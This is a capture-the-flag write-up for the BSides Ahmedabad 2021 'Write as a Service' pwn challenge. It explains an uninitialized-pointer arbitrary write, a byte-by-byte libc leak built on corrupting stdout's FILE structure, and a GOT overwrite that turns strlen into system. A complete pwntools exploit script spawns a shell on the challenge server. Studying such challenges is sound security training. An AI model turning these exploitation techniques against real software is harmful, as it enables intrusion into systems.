# Write as a Service - BSides Ahmedabad CTF 2021 ###### tags: `writeup` `BSides Ahmedabad CTF 2021` `pwn` # Overview - You can write `0x1f` bytes data to: - buffer alloced on stack - buffer alloced on heap - `/dev/null` - `stdout` # Analysis Every `read` checks the length correctly, so there is no buffer overflow. The first thing to notice is that the buf variable is uninitialized in `to_alloced_buf`. ```cpp= void to_alloced_buf(void){ char* buf; while (1){ if (buf == NULL) buf = (char*)malloc(BUF_SIZE); printf("content?\n> "); if (0 < readline(buf, READ_SIZE)) break; } } ``` The variable `to_alloced_buf::buf` shares its buffer with `to_local_buf::buf[0]`, `to_devnull::fp`, `to_stdout::fp`, and `menu::buf[0x18]`. As you can see, we can make arbitrary address write by modifying `to_local_buf::buf[0]` from `to_local_buf`, then call `to_alloced_buf`. Moreover, we can overwrite the `FILE` structure for `stdout` and closed `/dev/null`. Overwriting a closed file structure doesn't seem useful but overwriting a `STDOUT` file structure seems useful since you may be able to use some techniques such as [FSOP]([FSOP](https://faraz.faith/2020-10-13-FSOP-lazynote/)). # Exploit ## libc leak Leaking libc address is the main part of this challenge. Let's take a look inside of `FILE` structure. ```c= struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ ... char _shortbuf[1]; ... }; ``` from: [`struct_FILE.h`](https://code.woboq.org/userspace/glibc/libio/bits/types/struct_FILE.h.html#_IO_FILE) For some allignment reason, offset of `_IO_read_ptr` is 8 bytes. We can overwrite `_flags`, `_IO_read_ptr`, `_IO_read_end`, and `_IO_read_base` since we can write `0x1f` bytes. While experimenting, I found that `stdout` stops working if `_IO_read_end` is not equals to the address of `_shortbuf`. Using this logic as an oracle, we can leak the address of `_shortbuf`. Since `stdout` is the struct allocated on `libc`, we now know the base address of `libc`. ## get the shell After libc address is leaked, you can do basically anything because you already have `AAW`. `fputs(buf, fp)` calls `strlen(buf)` internally, so we can call `system(buf)` by overwriting the GOT of `strlen` in `libc`. ## solution ```python= from pwn import * BIN_NAME = 'chall' REMOTE_LIBC_PATH = 'libc-2.31.so' REMOTE_ADDR = "pwn.bsidesahmedabad.in" REMOTE_PORT = '9090' LOCAL = True elf = ELF(BIN_NAME) context.binary = elf if LOCAL: stream = process(BIN_NAME) else: stream = remote(REMOTE_ADDR, REMOTE_PORT) TIMEOUT = 0.02 if LOCAL else 0.4 def prompt(cmd): if b'\n' in cmd: raise Exception() stream.recvuntil(b'> ', timeout=TIMEOUT) stream.sendline(cmd) def localbuf(payload): prompt(b'0') prompt(payload) def allocedbuf(payload): prompt(b'1') prompt(payload) def devnull(payload): prompt(b'2') prompt(payload) def stdout(payload): prompt(b'3') prompt(payload) def is_valid_tinybuf_prefix(read_end: bytes): payload = p64(0xfbad2887) + p64(0) + read_end allocedbuf(payload) line = stream.recv(1, timeout=TIMEOUT) if len(line) != 0: return True else: return False stdout(b'hoge') tinybuf_addr_bytes = b'' for i in range(0, 6): for b in range(256): if b == ord('\n'): continue if i == 0 and b != 0x23: continue if i == 1 and hex(b)[-1] != '7': continue if i == 5 and hex(b)[-2] != '7': continue cand = tinybuf_addr_bytes + b.to_bytes(1, 'little') if not is_valid_tinybuf_prefix(cand): print(f'{b} / 256...') continue tinybuf_addr_bytes = cand addr = unpack((tinybuf_addr_bytes + b'\x00' * 8)[:8]) print(f'{hex(addr)=}') break else: raise Exception("not found") tinybuf_addr = unpack((tinybuf_addr_bytes + b'\x00' * 8)[:8]) libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so' if LOCAL else REMOTE_LIBC_PATH) libc.address = tinybuf_addr - 0x1ec723 print(f'{hex(libc.address)=}') def aaw(addr, content): print(f'*{hex(addr)} = {hex(content)}') localbuf(b'A' * 0x18 + p64(addr)[:6]) allocedbuf(p64(content)) aaw(libc.address + 0x1eb0a8, libc.symbols['system']) stdout(b'/bin/sh') stream.interactive() ```